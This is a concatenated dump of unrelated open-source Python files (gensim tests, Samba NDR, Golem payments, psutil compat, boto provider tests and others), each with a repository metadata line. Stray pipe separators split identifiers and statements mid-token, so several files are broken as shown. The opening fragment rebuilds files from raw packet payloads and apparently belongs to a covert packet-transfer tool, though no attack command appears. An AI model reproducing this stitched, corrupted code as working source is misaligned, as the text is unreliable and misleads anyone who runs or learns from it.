elif data[28:].find(END_PACKET) != -1:
# Extract data from Initiation packet:
man_string = data[28:] # String to manipulate
man_array = man_string.split(DATA_SEPARATOR) # Exploit data into array
if filename != man_array[0]:
sys.stderr.write("You tried transferring 2 files simultaneous. Killing my self now!\n")
log_fh.write("Detected 2 file simultaneous. Killing my self.\n")
return -1
else:
log_fh.write("Got termination packet for %s\n" % man_array[0])
comp_crc = zlib.crc32(current_file)
if str(comp_crc) == checksum:
# CRC validated
log_fh.write("CRC validation is green for " + str(comp_crc) + " with file name: " + filename + "\n")
current_file = base64.b64decode(current_file)
# Write to file
fh = open(filename + "_" + checksum, WRITE_BINARY)
fh.write(current_file)
fh.close()
files_received += 1
else:
# CRC failed
log_fh.write("CRC validation FAILED for '" + str(comp_crc) + "' with : " + checksum + "\n")
# Resetting counters:
i = 0
filename = ""
data = ""
man_string = ""
man_array = []
elif data[28:].find(DATA_TERMINATOR) != -1:
# Found a regular packet
current_file += data[28:data.find(DATA_TERMINATOR)]
log_fh.write("Received packet %s" % i + "\n")
i += 1
if __name__ == "__main__":
sys.stdout.write("This is meant to be a module for python and not a stand alone executable\n")
|
aarora79/sitapt | sitapt/wrangle/pcap/transport.py | Python | isc | 683 | 0.005857 | import os
import sys
import argparse
import pkg_resources # part of setuptools
import socket
from struct import *
import bina | scii
#import submodules
from pcap_globals import *
import tcp
import udp
#global varialbes for this file
#logger = sa_logger.init(globals.PACKAGE_NAME)
def get_transport_info(network_info, pkt_data):
pkt_info = {}
# check which protocol and handle accordingly
protocol = network_info['protocol']
if protocol == 6:
pkt_info = tcp.get_tcp_info(network_info, pkt_data)
elif protocol == 17:
pkt_info = udp.get_udp_info(network_info, pkt_data)
else:
| pkt_info ['protocol'] = str(protocol)
return pkt_info
|
ccri/gensim | gensim/test/test_corpora_dictionary.py | Python | gpl-3.0 | 7,902 | 0.003043 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Licensed under the GNU LGPL v2.1 - http://www.gnu.org/licenses/lgpl.html
"""
Unit tests for the `corpora.Dictionary` class.
"""
from collections import Mapping
import logging
import tempfile
import unittest
import os
import os.path
import scipy
import gensim
from gensim.corpora import Dictionary
from six import PY3
from six.moves import zip
# sample data files are located in the same folder
module_path = os.path.dirname(__file__)
def get_tmpfile(suffix):
return os.path.join(tempfile.gettempdir(), suffix)
class TestDictionary(unittest.TestCase):
def setUp(self):
self.texts = [
['human', 'interface', 'computer'],
['survey', 'user', 'computer', 'system', 'response', 'time'],
['eps', 'user', 'interface', 'system'],
['system', 'human', 'system', 'eps'],
['user', 'response', 'time'],
['trees'],
['graph', 'trees'],
['graph', 'minors', 'trees'],
['graph', 'minors', 'survey']]
def testDocFreqOneDoc(self):
texts = [['human', 'interface', 'computer']]
d = Dictionary(texts)
expected = {0: 1, 1: 1, 2: 1}
self.assertEqual(d.dfs, expected)
def testDocFreqAndToken2IdForSeveralDocsWithOneWord(self):
# two docs
texts = [['human'], ['human']]
d = Dictionary(texts)
expected = {0: 2}
self.assertEqual(d.dfs, expected)
# only one token (human) should exist
expected = {'human': 0}
self.assertEqual(d.token2id, expected)
# three docs
texts = [['human'], ['human'], ['human']]
d = Dictionary(texts)
expected = {0: 3}
self.assertEqual(d.dfs, expected)
# only one token (human) should exist
expected = {'human': 0}
self.assertEqual(d.token2id, expected)
# four docs
texts = [['human'], ['human'], ['human'], ['human']]
d = Dictionary(texts)
expected = {0: 4}
self.assertEqual(d.dfs, expected)
# only one token (human) should exist
expected = {'human': 0}
self.assertEqual(d.token2id, expected) |
def testDocFreqForOneDocWithSeveralWord(self):
# two wor | ds
texts = [['human', 'cat']]
d = Dictionary(texts)
expected = {0: 1, 1: 1}
self.assertEqual(d.dfs, expected)
# three words
texts = [['human', 'cat', 'minors']]
d = Dictionary(texts)
expected = {0: 1, 1: 1, 2: 1}
self.assertEqual(d.dfs, expected)
def testBuild(self):
d = Dictionary(self.texts)
expected = {0: 2, 1: 2, 2: 2, 3: 2, 4: 2, 5: 3, 6: 2, 7: 3, 8: 2,
9: 3, 10: 3, 11: 2}
self.assertEqual(d.dfs, expected)
expected = {'computer': 0, 'eps': 8, 'graph': 10, 'human': 1,
'interface': 2, 'minors': 11, 'response': 3, 'survey': 4,
'system': 5, 'time': 6, 'trees': 9, 'user': 7}
self.assertEqual(d.token2id, expected)
def testFilter(self):
d = Dictionary(self.texts)
d.filter_extremes(no_below=2, no_above=1.0, keep_n=4)
expected = {0: 3, 1: 3, 2: 3, 3: 3}
self.assertEqual(d.dfs, expected)
def test_doc2bow(self):
d = Dictionary([["žluťoučký"], ["žluťoučký"]])
# pass a utf8 string
self.assertEqual(d.doc2bow(["žluťoučký"]), [(0, 1)])
# doc2bow must raise a TypeError if passed a string instead of array of strings by accident
self.assertRaises(TypeError, d.doc2bow, "žluťoučký")
# unicode must be converted to utf8
self.assertEqual(d.doc2bow([u'\u017elu\u0165ou\u010dk\xfd']), [(0, 1)])
def test_saveAsText_and_loadFromText(self):
"""`Dictionary` can be saved as textfile and loaded again from textfile. """
tmpf = get_tmpfile('dict_test.txt')
for sort_by_word in [True, False]:
d = Dictionary(self.texts)
d.save_as_text(tmpf, sort_by_word=sort_by_word)
self.assertTrue(os.path.exists(tmpf))
d_loaded = Dictionary.load_from_text(tmpf)
self.assertNotEqual(d_loaded, None)
self.assertEqual(d_loaded.token2id, d.token2id)
def test_from_corpus(self):
"""build `Dictionary` from an existing corpus"""
documents = ["Human machine interface for lab abc computer applications",
"A survey of user opinion of computer system response time",
"The EPS user interface management system",
"System and human system engineering testing of EPS",
"Relation of user perceived response time to error measurement",
"The generation of random binary unordered trees",
"The intersection graph of paths in trees",
"Graph minors IV Widths of trees and well quasi ordering",
"Graph minors A survey"]
stoplist = set('for a of the and to in'.split())
texts = [[word for word in document.lower().split() if word not in stoplist]
for document in documents]
# remove words that appear only once
all_tokens = sum(texts, [])
tokens_once = set(word for word in set(all_tokens) if all_tokens.count(word) == 1)
texts = [[word for word in text if word not in tokens_once]
for text in texts]
dictionary = Dictionary(texts)
corpus = [dictionary.doc2bow(text) for text in texts]
# Create dictionary from corpus without a token map
dictionary_from_corpus = Dictionary.from_corpus(corpus)
dict_token2id_vals = sorted(dictionary.token2id.values())
dict_from_corpus_vals = sorted(dictionary_from_corpus.token2id.values())
self.assertEqual(dict_token2id_vals, dict_from_corpus_vals)
self.assertEqual(dictionary.dfs, dictionary_from_corpus.dfs)
self.assertEqual(dictionary.num_docs, dictionary_from_corpus.num_docs)
self.assertEqual(dictionary.num_pos, dictionary_from_corpus.num_pos)
self.assertEqual(dictionary.num_nnz, dictionary_from_corpus.num_nnz)
# Create dictionary from corpus with an id=>token map
dictionary_from_corpus_2 = Dictionary.from_corpus(corpus, id2word=dictionary)
self.assertEqual(dictionary.token2id, dictionary_from_corpus_2.token2id)
self.assertEqual(dictionary.dfs, dictionary_from_corpus_2.dfs)
self.assertEqual(dictionary.num_docs, dictionary_from_corpus_2.num_docs)
self.assertEqual(dictionary.num_pos, dictionary_from_corpus_2.num_pos)
self.assertEqual(dictionary.num_nnz, dictionary_from_corpus_2.num_nnz)
# Ensure Sparse2Corpus is compatible with from_corpus
bow = gensim.matutils.Sparse2Corpus(scipy.sparse.rand(10, 100))
dictionary = Dictionary.from_corpus(bow)
self.assertEqual(dictionary.num_docs, 100)
def test_dict_interface(self):
"""Test Python 2 dict-like interface in both Python 2 and 3."""
d = Dictionary(self.texts)
self.assertTrue(isinstance(d, Mapping))
self.assertEqual(list(zip(d.keys(), d.values())), list(d.items()))
# Even in Py3, we want the iter* members.
self.assertEqual(list(d.items()), list(d.iteritems()))
self.assertEqual(list(d.keys()), list(d.iterkeys()))
self.assertEqual(list(d.values()), list(d.itervalues()))
# XXX Do we want list results from the dict members in Py3 too?
if not PY3:
self.assertTrue(isinstance(d.items(), list))
self.assertTrue(isinstance(d.keys(), list))
self.assertTrue(isinstance(d.values(), list))
#endclass TestDictionary
if __name__ == '__main__':
logging.basicConfig(level=logging.WARNING)
unittest.main()
|
digambar15/openstack-iot | iot/conductor/handlers/driver.py | Python | apache-2.0 | 1,411 | 0.000709 | # Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# | See the License for the specific language governing permissions and
# limitations under the License.
"""IoT Docker RPC handler."""
from docker import errors
from oslo.config import cfg
from iot.common import docker_utils
from iot.openstack.common import log as logging
LOG = logging.getLogger(__name__)
CONF = cfg.CONF
class Handler(object):
def __init__(self):
| super(Handler, self).__init__()
self._docker = None
def _encode_utf8(self, value):
return unicode(value).encode('utf-8')
# Device operations
def device_create(self, ctxt, name, device_uuid, device):
LOG.debug('Creating device name %s'
% (name))
def device_list(self, ctxt):
LOG.debug("device_list")
def device_delete(self, ctxt, device_uuid):
LOG.debug("device_delete %s" % device_uuid)
def device_show(self, ctxt, device_uuid):
LOG.debug("device_show %s" % device_uuid)
|
yasoob/PythonRSSReader | venv/lib/python2.7/dist-packages/samba/ndr.py | Python | mit | 1,563 | 0 | # -*- coding: utf-8 -*-
# Unix SMB/CIFS implementation.
# Copyright © Jelmer Vernooij <jelmer@samba.org> 2008
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/ | >.
#
"""Network Data Representation (NDR) marshalling and unmarshalling."""
def ndr_pack(object):
"""Pack a NDR object.
:param object: Object to pack
:return: String object with marshalled object.
"""
ndr_pac | k = getattr(object, "__ndr_pack__", None)
if ndr_pack is None:
raise TypeError("%r is not a NDR object" % object)
return ndr_pack()
def ndr_unpack(cls, data, allow_remaining=False):
"""NDR unpack an object.
:param cls: Class of the object to unpack
:param data: Buffer to unpack
:param allow_remaining: allows remaining data at the end (default=False)
:return: Unpacked object
"""
object = cls()
object.__ndr_unpack__(data, allow_remaining=allow_remaining)
return object
def ndr_print(object):
return object.__ndr_print__()
|
scorpilix/Golemtest | golem/transactions/ethereum/ethereumtransactionsystem.py | Python | gpl-3.0 | 2,734 | 0 | import logging
from time import sleep
from ethereum import keys
from golem.ethereum import Client
from golem.ethereum.paymentprocessor import PaymentProcessor
from golem.transactions.transactionsystem import TransactionSystem
log = logging.getLogger('golem.pay')
class EthereumTransactionSystem(TransactionSystem):
""" Transaction system connected with Ethereum """
def __init__(self, datadir, node_priv_key):
""" Create new transaction system instance for node with given id
:param node_priv_key str: node's private key for Ethereum account (32b)
"""
super(EthereumTransactionSystem, self).__init__()
# FIXME: Passing private key all around might be a security issue.
# Proper account managment is needed.
if not isinstance(node_priv_key, basestring)\
or len(node_priv_key) != 32:
raise ValueError("Invalid private key: {}".format(node_priv_key))
self.__node_address = keys.privtoaddr(node_priv_key)
log.info("Node Ethereum address: " + self.get_payment_address())
self.__eth_node = Client(datadir)
self.__proc = PaymentProcessor(self.__eth_node, node_priv_key,
faucet=True)
self.__proc.start()
def stop(self):
if self.__proc.running:
self.__proc.stop()
if self.__eth_node.node is not None:
self.__eth_node.node.stop()
def add_payment_info(self, *args, **kwargs):
payment = super(EthereumTransactionSystem, self).add_payment_info(
*args,
**kwargs
)
self.__proc.add(payment)
return payment
def get_payment_address(self):
""" Human readable Ethereum address for incoming payments."""
return '0x' + self.__node_address.encode('hex')
def get_balance(self):
if not self.__proc.balance_known():
return None, None, None
gnt = self.__proc.gnt_balance()
av_gnt = self.__proc._gnt_available()
eth = self.__proc.eth_balance | ()
return gnt, av_gnt, eth
def pay_for_task(self, task_id, payments):
""" Pay for task using Ethereum connector
:param task_id: pay for task with given id
:param dict payments: all payments group by ethereum address
"""
pass
def sync(self):
syncing = True
while syncing:
try:
syncing = self.__eth_node.is_syncing()
except Exception as e:
log.error("IPC error | : {}".format(e))
syncing = False
else:
sleep(0.5)
|
feeds/igraph | tools/stimulus.py | Python | gpl-2.0 | 56,559 | 0.013897 | #! /usr/bin/env python
import re
import seqdict
import sys
import getopt
import os
version="0.1"
date="Jul 29 2007"
def usage():
print "Stimulus version", version, date
print sys.argv[0], "-f <function-file> -t <type-file> -l language "
print ' ' * len(sys.argv[0]), "-i <input-file> -o <output-file>"
print ' ' * len(sys.argv[0]), "-h --help -v"
################################################################################
class StimulusError(Exception):
def __init__(self, message):
self.msg = message
def __str__(self):
return str(self.msg)
################################################################################
class PLexer:
def __init__(self, stream):
self.stream=stream
self.ws_stack=[0]
self.tokens=[]
self.lineno=0
def lineno(self):
return self.lineno
def token(self):
keys=[]
if (len(self.tokens)>0):
return self.tokens.pop(0)
# Read a line, skip empty lines and comments
while True:
line=self.stream.readline(); self.lineno = self.lineno+1
if line=="":
for k in keys:
self.tokens.append( ("key", k) )
keys=[]
while len(self.ws_stack)>0:
self.tokens.append( ("dedent", "") )
self.ws_stack.pop()
self.tokens.append( ("eof", "") )
return self.tokens.pop(0)
if re.match("^[ \t]*$", line): continue
if re.match("^[ \t]*#", line): continue
break
if line[-1]=="\n": line=line[:(len(line)-1)]
ws=re.match(r"^[ \t]*", line).span()[1]
line=line.strip()
if ws > self.ws_stack[-1]:
self.tokens.append( ("indent", "") )
self.ws_stack.append(ws)
else:
for k in keys:
self.tokens.append( ("key", k) )
keys=[]
while ws < self.ws_stack[-1]:
self.ws_stack.pop()
self.tokens.append( ("dedent", "") )
if ws != self.ws_stack[-1]:
print "Bad indentation in line", self.lineno
exit
# Ok, we're done with the white space, now let's see
# whether this line is continued
while line[-1]=="\\":
line=line[:(len(line)-1)]
line=line+"\n " + self.stream.readline().strip() ; self.lineno=self.lineno+1
# We have the line now, check whether there is a ':' in it
line=line.split(":", 1)
if len(line)>1:
line[0]=line[0].strip()
line[1]=line[1].strip()
if line[0]=="":
print "Missing keyword in line", self.lineno
exit
keys=line[0].split(",")
keys=[ k.strip() for k in keys ]
if line[1] == "":
self.tokens.append( ("key", keys.pop(0)) )
else:
for k in keys:
self.tokens.append( ("key", k))
self.tokens.append( ("indent", "") )
self.tokens.append( ("text", line[1]) )
self.tokens.append( ("dedent", "") )
else:
self.tokens.append( ("text", line[0].strip()) )
for k in keys:
self.tokens.append( ("dedent", "") )
self.tokens.append( (" | key", k) )
self.tokens.append( ("indent", "") )
keys=[]
if self.tokens:
return self.tokens.pop(0)
############# | ###################################################################
class PParser:
def parse(self, stream):
lex=PLexer(stream)
val=seqdict.seqdict()
val_stack=[val, None]
nam_stack=[None, None]
tok=lex.token()
while not tok[0]=="eof":
if tok[0]=="indent":
val_stack.append(None)
nam_stack.append(None)
elif tok[0]=="dedent":
v=val_stack.pop()
n=nam_stack.pop()
if n is None:
val_stack[-1]=v
else:
val_stack[-1][n]=v
elif tok[0]=="key":
if not nam_stack[-1] is None:
val_stack[-2][nam_stack[-1]]=val_stack[-1]
if tok[1][-5:]=="-list":
val_stack[-1]=seqdict.seqdict()
nam_stack[-1]=tok[1][:-5]
else:
val_stack[-1]={}
nam_stack[-1]=tok[1]
elif tok[0]=="text":
val_stack[-1]=tok[1]
tok=lex.token()
return val
################################################################################
def main():
# Command line arguments
try:
optlist, args = getopt.getopt(sys.argv[1:], 't:f:l:i:o:hv', ['help'])
except getopt.GetoptError:
usage()
sys.exit(2)
types=[]; functions=[]; inputs=[]; languages=[]; outputs=[]; verbose=False
for o,a in optlist:
if o in ("-h", "--help"):
usage()
sys.exit()
elif o == "-o":
outputs.append(a)
elif o == "-t":
types.append(a)
elif o == "-f":
functions.append(a)
elif o == "-l":
languages.append(a)
elif o == "-i":
inputs.append(a)
elif o =="-v":
verbose=True
# Parameter checks
# Note: the lists might be empty, but languages and outputs must
# have the same length.
if len(languages) != len(outputs):
print "Error: number of languages and output files must match"
sys.exit(4)
for l in languages:
if not l+"CodeGenerator" in globals():
print "Error: unknown language:", l
sys.exit(6)
for f in types:
if not os.access(f, os.R_OK):
print "Error: cannot open type file:", f
sys.exit(5)
for f in functions:
if not os.access(f, os.R_OK):
print "Error: cannot open function file:", f
sys.exit(5)
for f in inputs:
if not os.access(f, os.R_OK):
print "Error: cannot open input file:", f
sys.exit(5)
# TODO: output files are not checked now
# OK, do the trick:
for l in range(len(languages)):
cl=globals()[languages[l]+"CodeGenerator"]
cg=cl(functions, types)
cg.generate(inputs, outputs[l])
################################################################################
class CodeGenerator:
def __init__(self, func, types):
# Set name
self.name=str(self.__class__).split(".")[-1]
self.name=self.name[0:len(self.name)-len("CodeGenerator")]
# Parse function and type files
parser=PParser()
self.func=seqdict.seqdict()
for f in func:
ff=open(f)
newfunc=parser.parse(ff)
self.func.extend(newfunc)
ff.close()
self.types=seqdict.seqdict()
for t in types:
ff=open(t)
newtypes=parser.parse(ff)
self.types.extend(newtypes)
ff.close()
# The default return type is 'ERROR'
for f in self.func.keys():
if 'RETURN' not in self.func[f]:
self.func[f]['RETURN']='ERROR'
def generate(self, inputs, output):
out=open(output, "w")
self.append_inputs(inputs, out)
for f in self.func.keys():
if 'FLAGS' in self.func[f]:
flags=self.func[f]['FLAGS']
flags=flags.split(",")
flags=[ flag.strip() for flag in flags ]
else:
self.func[f]['FLAGS']=[]
self.generate_function(f, out)
out.close()
def generate_function(self, f, out):
print "Error: invalid code generator, this method should be overridden"
sys.exit(1)
def parse_params(self, function):
if "PARAMS" not in self.func[function]:
return seqdict.se |
tamentis/psutil | psutil/_compat.py | Python | bsd-3-clause | 7,623 | 0.002624 | #!/usr/bin/env python
#
# $Id$
#
# Copyright (c) 2009, Jay Loden, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Module which provides compatibility with older Python versions."""
__all__ = ["namedtuple", "property", "defaultdict"]
from operator import itemgetter as _itemgetter
from keyword import iskeyword as _iskeyword
import sys as _sys
import __builtin__
try:
from collections import namedtuple
except ImportError:
def namedtuple(typename, field_names, verbose=False, rename=False):
"""A collections.namedtuple implementation written in Python
to support Python versions < 2.6.
Taken from: http://code.activestate.com/recipes/500261/
"""
# Parse and validate the field names. Validation serve | s two
# purposes, generating informative error messages and preventing
# template injection attacks.
if isinstance(field_names, basestring):
# names separated by whitespace and/or commas
field_names = field_names.replace(',', ' ').split()
field_names = tuple(map(str, field_names))
if rename:
names = list(field_names)
seen = set()
for i, name in enumerate(names):
if (no | t min(c.isalnum() or c=='_' for c in name) or _iskeyword(name)
or not name or name[0].isdigit() or name.startswith('_')
or name in seen):
names[i] = '_%d' % i
seen.add(name)
field_names = tuple(names)
for name in (typename,) + field_names:
if not min(c.isalnum() or c=='_' for c in name):
raise ValueError('Type names and field names can only contain ' \
'alphanumeric characters and underscores: %r'
% name)
if _iskeyword(name):
raise ValueError('Type names and field names cannot be a keyword: %r' \
% name)
if name[0].isdigit():
raise ValueError('Type names and field names cannot start with a ' \
'number: %r' % name)
seen_names = set()
for name in field_names:
if name.startswith('_') and not rename:
raise ValueError('Field names cannot start with an underscore: %r'
% name)
if name in seen_names:
raise ValueError('Encountered duplicate field name: %r' % name)
seen_names.add(name)
# Create and fill-in the class template
numfields = len(field_names)
# tuple repr without parens or quotes
argtxt = repr(field_names).replace("'", "")[1:-1]
reprtxt = ', '.join('%s=%%r' % name for name in field_names)
template = '''class %(typename)s(tuple):
'%(typename)s(%(argtxt)s)' \n
__slots__ = () \n
_fields = %(field_names)r \n
def __new__(_cls, %(argtxt)s):
return _tuple.__new__(_cls, (%(argtxt)s)) \n
@classmethod
def _make(cls, iterable, new=tuple.__new__, len=len):
'Make a new %(typename)s object from a sequence or iterable'
result = new(cls, iterable)
if len(result) != %(numfields)d:
raise TypeError('Expected %(numfields)d arguments, got %%d' %% len(result))
return result \n
def __repr__(self):
return '%(typename)s(%(reprtxt)s)' %% self \n
def _asdict(self):
'Return a new dict which maps field names to their values'
return dict(zip(self._fields, self)) \n
def _replace(_self, **kwds):
'Return a new %(typename)s object replacing specified fields with new values'
result = _self._make(map(kwds.pop, %(field_names)r, _self))
if kwds:
raise ValueError('Got unexpected field names: %%r' %% kwds.keys())
return result \n
def __getnewargs__(self):
return tuple(self) \n\n''' % locals()
for i, name in enumerate(field_names):
template += ' %s = _property(_itemgetter(%d))\n' % (name, i)
if verbose:
print template
# Execute the template string in a temporary namespace
namespace = dict(_itemgetter=_itemgetter, __name__='namedtuple_%s' % typename,
_property=property, _tuple=tuple)
try:
exec template in namespace
except SyntaxError, e:
raise SyntaxError(e.message + ':\n' + template)
result = namespace[typename]
# For pickling to work, the __module__ variable needs to be set
# to the frame where the named tuple is created. Bypass this
# step in enviroments where sys._getframe is not defined (Jython
# for example) or sys._getframe is not defined for arguments
# greater than 0 (IronPython).
try:
result.__module__ = _sys._getframe(1).f_globals.get('__name__', '__main__')
except (AttributeError, ValueError):
pass
return result
# hack to support property.setter/deleter on python < 2.6
# http://docs.python.org/library/functions.html?highlight=property#property
if hasattr(property, 'setter'):
property = property
else:
class property(__builtin__.property):
__metaclass__ = type
def __init__(self, fget, *args, **kwargs):
super(property, self).__init__(fget, *args, **kwargs)
self.__doc__ = fget.__doc__
def getter(self, method):
return property(method, self.fset, self.fdel)
def setter(self, method):
return property(self.fget, method, self.fdel)
def deleter(self, method):
return property(self.fget, self.fset, method)
# py 2.5 collections.defauldict
# Taken from:
# http://code.activestate.com/recipes/523034-emulate-collectionsdefaultdict/
# credits: Jason Kirtland
try:
from collections import defaultdict
except ImportError:
class defaultdict(dict):
def __init__(self, default_factory=None, *a, **kw):
if (default_factory is not None and
not hasattr(default_factory, '__call__')):
raise TypeError('first argument must be callable')
dict.__init__(self, *a, **kw)
self.default_factory = default_factory
def __getitem__(self, key):
try:
return dict.__getitem__(self, key)
except KeyError:
return self.__missing__(key)
def __missing__(self, key):
if self.default_factory is None:
raise KeyError(key)
self[key] = value = self.default_factory()
return value
def __reduce__(self):
if self.default_factory is None:
args = tuple()
else:
args = self.default_factory,
return type(self), args, None, None, self.items()
def copy(self):
return self.__copy__()
def __copy__(self):
return type(self)(self.default_factory, self)
def __deepcopy__(self, memo):
import copy
return type(self)(self.default_factory,
copy.deepcopy(self.items()))
def __repr__(self):
return 'defaultdict(%s, %s)' % (self.default_factory,
dict.__repr__(self))
|
tbhartman/eng | material/predefined.py | Python | apache-2.0 | 1,319 | 0.006065 | """ Copyright (c) 2010, Tim Hartman
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distribute | d on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or | implied.
See the License for the specific language governing permissions and
limitations under the License.
Authored by: Tim Hartman"""
from eng.material import elastic
def carbon_fiber_generic():
mat = elastic.TransverselyIsotropic(155e9, 0.248, 12.1e9, 0.458, 4.4e9)
cte = elastic.CoefficientOfExpansion("thermal",2)
cte[:] = (-0.018e-6, 24.3e-6)
cme = elastic.CoefficientOfExpansion("moisture",2)
cme[:] = (146.0e-6, 4770e-6)
mat.append_coe(cte)
mat.append_coe(cme)
return mat
def glass_fiber_generic():
mat = elastic.TransverselyIsotropic(50e9, 0.254, 15.2e9, 0.428, 4.7e9)
cte = elastic.CoefficientOfExpansion("thermal",2)
cte[:] = (6.34e-6, 23.3e-6)
cme = elastic.CoefficientOfExpansion("moisture",2)
cme[:] = (434.0e-6, 6320e-6)
mat.append_coe(cte)
mat.append_coe(cme)
return mat
|
niamoto/niamoto-core | niamoto/data_publishers/r_data_publisher.py | Python | gpl-3.0 | 4,420 | 0 | # coding: utf-8
from rpy2.robjects import conversion
from rpy2.robjects import r
from rpy2.robjects import pandas2ri
from rpy2.robjects import default_converter
from rpy2.robjects.conversion import localconverter
from rpy2.rinterface import rternalize, StrSexpVector
from rpy2.robjects import globalenv
import pandas as pd
from niamoto.data_publishers.base_data_publisher import BaseDataPublisher
from niamoto.data_publishers.occurrence_data_publisher import \
OccurrenceDataPublisher
from niamoto.data_publishers.plot_data_publisher import PlotDataPublisher
from niamoto.data_publishers.plot_occurrence_data_publisher import \
PlotOccurrenceDataPublisher
from niamoto.data_publishers.taxon_data_publisher import TaxonDataPublisher
from niamoto.data_publishers.raster_data_publisher i | mport RasterDataPublisher
class RDataPublisher(BaseDataPublisher):
"""
R script data publisher.
"""
def __init__(self, r_script_path):
super(RDataPublisher, self).__init__()
self.r_script_path = r_script_path
@classmethod
def get_key(cls):
raise NotImplementedError()
@clas | smethod
def get_description(cls):
return "R script."
def _process(self, *args, **kwargs):
with localconverter(default_converter + pandas2ri.converter):
globalenv['get_occurrence_dataframe'] = \
self.get_occurrence_dataframe
globalenv['get_plot_dataframe'] = self.get_plot_dataframe
globalenv['get_plot_occurrence_dataframe'] = \
self.get_plot_occurrence_dataframe
globalenv['get_taxon_dataframe'] = self.get_taxon_dataframe
globalenv['get_raster'] = self.get_raster
r.source(self.r_script_path)
process_func = r['process']
df = pandas2ri.ri2py(process_func())
if isinstance(df, pd.DataFrame):
return int32_to_int64(fill_str_empty_with_nan(df)), [], {}
if len(df) == 1:
return df[0], [], {}
return df, [], {}
@staticmethod
@rternalize
def get_occurrence_dataframe(properties=None):
convert = default_converter + pandas2ri.converter
with conversion.localconverter(convert):
df = OccurrenceDataPublisher().process(properties=properties)[0]
return pandas2ri.py2ri(fill_str_nan_with_empty(df))
@staticmethod
@rternalize
def get_plot_dataframe(properties=None):
convert = default_converter + pandas2ri.converter
with conversion.localconverter(convert):
df = PlotDataPublisher().process(properties=properties)[0]
return pandas2ri.py2ri(fill_str_nan_with_empty(df))
@staticmethod
@rternalize
def get_plot_occurrence_dataframe():
convert = default_converter + pandas2ri.converter
with conversion.localconverter(convert):
df = PlotOccurrenceDataPublisher().process()[0]
return pandas2ri.py2ri(fill_str_nan_with_empty(df))
@staticmethod
@rternalize
def get_taxon_dataframe(include_mptt=False):
convert = default_converter + pandas2ri.converter
with conversion.localconverter(convert):
df = TaxonDataPublisher().process(include_mptt=include_mptt)[0]
return pandas2ri.py2ri(fill_str_nan_with_empty(df))
@staticmethod
@rternalize
def get_raster(raster_name):
convert = default_converter
with conversion.localconverter(convert):
raster_str = RasterDataPublisher().process(raster_name[0])[0]
return StrSexpVector((raster_str, ))
@classmethod
def get_publish_formats(cls):
return [cls.CSV, cls.SQL]
def fill_str_nan_with_empty(df):
# Fill empty str values with nan
df.is_copy = False
if len(df) == 0:
return df
for c in df.columns:
if df[c].dtype == object:
df[c].fillna(value='', inplace=True)
return df
def fill_str_empty_with_nan(df):
df.is_copy = False
if len(df) == 0:
return df
for c in df.columns:
if df[c].dtype == object:
df[c].replace(to_replace='', value=pd.np.NaN, inplace=True)
return df
def int32_to_int64(df):
df.is_copy = False
if len(df) == 0:
return df
for c in df.columns:
if df[c].dtype == pd.np.int32:
df[c] = df[c].astype(pd.np.int64)
return df
|
opentok/Opentok-Python-SDK | sample/HelloWorld/helloworld.py | Python | mit | 660 | 0.001515 | from flask import Flask, render_template
from op | entok import Client
import os
try:
api_key = os.environ["API_KEY"]
api_secret = os.environ["API_SECRET"]
except Exception:
ra | ise Exception("You must define API_KEY and API_SECRET environment variables")
app = Flask(__name__)
opentok = Client(api_key, api_secret)
session = opentok.create_session()
@app.route("/")
def hello():
key = api_key
session_id = session.session_id
token = opentok.generate_token(session_id)
return render_template(
"index.html", api_key=key, session_id=session_id, token=token
)
if __name__ == "__main__":
app.debug = True
app.run()
|
kermit666/posterwall | posterwall/apps/events/models.py | Python | agpl-3.0 | 294 | 0.003401 | from django.db import models
# Create your models here.
class Event(models.Model):
url = models.URLField | (null=True)
img_url = models.URLField(null=True)
title = models.Char | Field(max_length=200)
description = models.TextField()
def __str__(self):
return self.title
|
harshilasu/LinkurApp | y/google-cloud-sdk/platform/gsutil/third_party/boto/tests/unit/provider/test_provider.py | Python | gpl-3.0 | 16,358 | 0.000122 | #!/usr/bin/env python
from datetime import datetime, timedelta
from tests.unit import unittest
import mock
import os
from boto import provider
from boto.compat import expanduser
INSTANCE_CONFIG = {
'allowall': {
u'AccessKeyId': u'iam_access_key',
u'Code': u'Success',
u'Expiration': u'2012-09-01T03:57:34Z',
u'LastUpdated': u'2012-08-31T21:43:40Z',
u'SecretAccessKey': u'iam_secret_key',
u'Token': u'iam_token',
u'Type': u'AWS-HMAC'
}
}
class TestProvider(unittest.TestCase):
def setUp(self):
self.environ = {}
self.config = {}
self.shared_config = {}
self.metadata_patch = mock.patch('boto.utils.get_instance_metadata')
self.config_patch = mock.patch('boto.provider.config.get',
self.get_config)
self.has_config_patch = mock.patch('boto.provider.config.has_option',
self.has_config)
self.config_object_patch = mock.patch.object(
provider.Config, 'get', self.get_shared_config)
self.has_config_object_patch = mock.patch.object(
provider.Config, 'has_option', self.has_shared_config)
self.environ_patch = mock.patch('os.environ', self.environ)
self.get_instance_metadata = self.metadata_patch.start()
self.get_instance_metadata.return_value = None
self.config_patch.start()
self.has_config_patch.start()
self.config_object_patch.start()
self.has_config_object_patch.start()
self.environ_patch.start()
def tearDown(self):
self.metadata_patch.stop()
self.config_patch.stop()
self.has_config_patch.stop()
self.config_object_patch.stop()
self.has_config_object_patch.stop()
self.environ_patch.stop()
def has_config(self, section_name, key):
try:
self.config[section_name][key]
return True
except KeyError:
return False
def get_config(self, section_name, key):
try:
return self.config[section_name][key]
except KeyError:
return None
def has_shared_config(self, section_name, key):
